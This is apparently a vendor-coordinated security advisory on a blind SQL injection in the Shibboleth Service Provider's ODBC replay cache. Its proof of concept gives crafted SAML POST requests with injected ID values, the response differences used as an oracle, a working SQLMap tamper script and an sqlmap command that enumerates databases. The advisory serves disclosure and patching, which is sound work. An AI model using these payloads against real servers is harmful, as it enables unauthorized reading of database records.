Management summary
SEC Consult identified an unauthenticated SQL injection vulnerability in the Shibboleth Service Provider (SP) within the ODBC interface, which an attacker could exploit to read arbitrary records from the database with the rights of the database user.
Vendor description
"Shibboleth is one of the most widely used identity management systems in the world. After emerging as an Internet2 middleware activity in 2000, it was quickly adopted by academic institutions, identity federations, and commercial organisations all over the world."
Source: www.shibboleth.net/about-us/the-shibboleth-project/
Business recommendation
The vendor provides a patch which should be installed immediately if the ODBC interface is being used. As a workaround, use any other non-ODBC StorageService for the ReplayCache.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Unauthenticated SQL Injection Vulnerability (CVE-2025-9943)
An SQL injection vulnerability has been identified in the "ID" attribute of the SAML response when the replay cache of the Service Provider (SP) is configured to use an SQL database as storage service. An unauthenticated attacker can exploit this issue via blind SQL injection, allowing for the extraction of arbitrary data from the database, if the database connection is configured to use the ODBC plugin.
The vulnerability arises from insufficient escaping of single quotes in the class SQLString (file odbc-store.cpp, lines 253-271):
class SQLString {
const char* m_src;
string m_copy;
public:
SQLString(const char* src) : m_src(src) {
if (strchr(src, '\'')) {
m_copy = src;
replace_all(m_copy, "'", "''");
}
}
[...]
};
Proof of concept
1) Unauthenticated SQL Injection Vulnerability (CVE-2025-9943)
To reproduce the vulnerability, a Windows 10 machine was set up with IIS 10.0 and MySQL ODBC driver 9.4. Shibboleth 3.5.0.2 was installed using the MSI installer shibboleth-sp-3.5.0.2-win64.msi, SHA256:
eed4f743409a2b7d7f550ed3611e6cc4d789bd157da57529fccc51918ebb0ea6
The Shibboleth setup is configured to use MySQL for the replay cache in shibboleth2.xml:
<StorageService type="ODBC" id="mysql" cleanupInterval="900">
<ConnectionString>
DRIVER={MySQL ODBC 9.4 Unicode Driver};SERVER=127.0.0.1;PORT=3306;DATABASE=shibbsp;USER=shib;PWD=changeMe!
</ConnectionString>
</StorageService>
<ReplayCache StorageService="mysql"/>
To exploit the vulnerability, Burp Suite Professional is used with the extension Hackvertor. The value of the "IssueInstant" attribute must be set to a value that is no more than a few minutes before the UTC time of the following request:
POST /Shibboleth.sso/SAML2/POST HTTP/2
Host: sp.example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 504
SAMLResponse=<@burp_urlencode><@base64><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="123456\' OR 1=1 -- -" Version="2.0" IssueInstant="2025-08-13T22:25:00Z"
Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>
</@base64></@burp_urlencode>
If a true Boolean condition (1=1) is injected, the server replies with the following response after sending the request twice:
HTTP/2 500 Internal Server Error
[...]
<p>Rejecting replayed message ID (123456\' OR 1=1 -- -).</p>
[...]
If a false Boolean condition (1=2) is injected, the response to the second request differs.
POST /Shibboleth.sso/SAML2/POST HTTP/2
Host: sp.example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 504
SAMLResponse=<@burp_urlencode><@base64><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="123456\' OR 1=2 -- -" Version="2.0" IssueInstant="2025-08-13T22:33:00Z"
Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>
</@base64></@burp_urlencode>
In this case, the server response contains the string "Incoming message contained no SAML assertions.":
HTTP/2 500 Internal Server Error
[...]
<p>Incoming message contained no SAML assertions.</p>
[...]
The different responses allow an exfiltration of data with a Boolean-based blind SQL injection.
To automate the attack, a custom tamper script saml_base64_urlencode.py is used with SQLMap:
from lib.core.enums import PRIORITY
import base64
import urllib.parse
from datetime import datetime, timezone
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
# current timestamp for IssueInstant
timestamp = datetime.now(timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z')
if payload:
saml = f'''
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="\\' {payload} -- -" Version="2.0" IssueInstant="{timestamp}"
Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>'''
b64 = base64.b64encode(saml.encode()).decode()
return urllib.parse.quote_plus(b64)
return payload
The following SQLMap command lists the available databases:
$ sqlmap -u sp.example.org/Shibboleth.sso/SAML2/POST --data="SAMLResponse=*" --tamper=saml_base64_urlencode.py --technique=B --batch --text-only --string "replayed" --retry-on "Incoming message contained no SAML assertions." --retries=1 --threads=10 --risk 3 --dbms mysql -dbs
Vulnerable / tested versions
The following version has been tested which was the latest version available at the time of the test:
- 3.5.0